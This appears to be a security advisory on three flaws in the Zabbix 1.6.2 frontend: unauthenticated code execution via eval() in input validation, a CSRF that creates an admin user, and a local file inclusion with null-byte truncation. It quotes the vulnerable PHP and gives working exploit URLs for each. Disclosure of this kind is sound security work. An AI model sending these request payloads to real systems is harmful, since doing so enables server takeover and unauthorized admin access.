I. BACKGROUND
>From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
and visualization features today which are missing in other monitoring
systems, even some of the best commercial ones".
II. DESCRIPTION
Multiple Vulnerabilities exist in Zabbix front end software.
III. ANALYSIS
Summary:
A) Remote Code Execution
B) Cross Site Request Forgery
C) Local File Inclusion
A) Remote Code Execution
A Remote Code Execution issue has been found in Zabbix version
1.6.2 and no authentication is required in order to exploit this
vulnerability. The Magic Quotes must be off in order to exploit
this vulnerability, however this feature will not be supported
starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
Zabbix has a security feature that parses all incoming input for
possible bad chars with the help of the function check_fields() defined
in "include/validate.inc.php". The issue we have discovered is contained
in this input validation code.
Pages define an array of every used variable that derives from external
(GPC) input. An example of the mechanism is the following:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
$fields=array(
"config"=> array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
// actions
"groupid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
"hostid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
"start"=> array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
PAGE_SIZE."==0)", NULL),
"next"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
"prev"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
// filter
"filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
"filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
"userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
'filter_timesince'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
'filter_timetill'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
//ajax
'favobj'=> array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
'favid'=> array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
'isset({favobj})'),
'state'=> array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
'isset({favobj}) && ("filter"=={favobj})'),
);
check_fields($fields);
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
After the definition of the "$fields" array all the variables are
checked by the function check_fields().
The main step of the check_fields() function is:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
foreach($fields as $field => $checks){
$err |= check_field($fields, $field, $checks);
}
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
Following the check_field() function we have identified that the
function's main steps are the creation of some local variables using
list() and a consequent call of calc_exp() (which resides in the same
file).
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
list($type, $opt, $flags, $validation, $exception) = $checks;
[...]
$except=calc_exp($fields,$field,$exception);
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
calc_exp()'s code is:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
function calc_exp($fields,$field,$expression){
if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
return FALSE;
if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
$expression = str_replace("{}",'$_REQUEST["'.$field.'"]',$expression);
if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
foreach($_REQUEST[$field] as $key => $val){
$expression2 =
str_replace("{}",'$_REQUEST["'.$field.'"]["'.$key.'"]',$expression);
if(calc_exp2($fields,$field,$expression2)==FALSE)
return FALSE;
}
return TRUE;
}
return calc_exp2($fields,$field,$expression);
}
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
As you can see we should be able to call calc_exp2(), our vulnerable
function, avoiding to fall into a breach that exits (returns) from the
function.
Investigating calc_exp2()'s source:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
function calc_exp2($fields,$field,$expression){
foreach($fields as $f => $checks){
$expression = str_replace('{'.$f.'}','$_REQUEST["'.$f.'"]',$expression);
}
$expression = trim($expression,"& ");
$exec = "return (".$expression.") ? 1 : 0;";
$ret = eval($exec);
return $ret;
}
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
We have reached a function that contains an eval() call of the "$exec"
variable that contains user controlled data.
To better understand how the executed string is composed we must find
a disposable page. Thanks to "locales.php" we can reach this function
without any authentication.
Now if we try to execute the query:
/locales.php?download&langTo&extlang[AAA]=1
The value of $exec is the following:
return (($_REQUEST["extlang"]["AAA"]!='')) ? 1 : 0;
Some constraints exist: the injected payload must comply with the
calc_exp()'s requirements in order to call calc_exp2() and the created
string must be syntactically correct. What we can do is to play with
the key values of the array. An intermediate test was:
/locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
But it generates a syntax error. After some thinking the problem was
solved in this way:
/locales.php?download&langTo&extlang[".phpinfo()."]=1
Now the syntax is correct and the payload gets executed.
B) Cross Site Request Forgery
A CSRF vulnerability exists in file "users.php". If the admin visits the
following link:
/users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
lang=lang&theme=theme&autologout=0&url=url&refresh=0
A user with admin permissions is created.
C) Local File Inclusion
If the user is authenticated, a Local File Inclusion vulnerability
exists in file "locales.php".
The following URL exploits this vulnerability:
/locales.php?action=1&next=1&srclang=../validate&extlang=en
A string in the form of ".inc.php" is automatically appended to the
local file path. Despite that it's possible to include every target
file truncating the filename using %00 (nullbyte):
/locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
Nullbyte injection normally requires magic quotes off.
The vulnerable code is the following:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
'srclang'=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, 'isset({next})'),
[...]
else if(isset($_REQUEST['next'])){
[...]
$fileFrom = 'include/locales/'.$_REQUEST['srclang'].".inc.php";
if(file_exists($fileFrom)){
include($fileFrom);
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
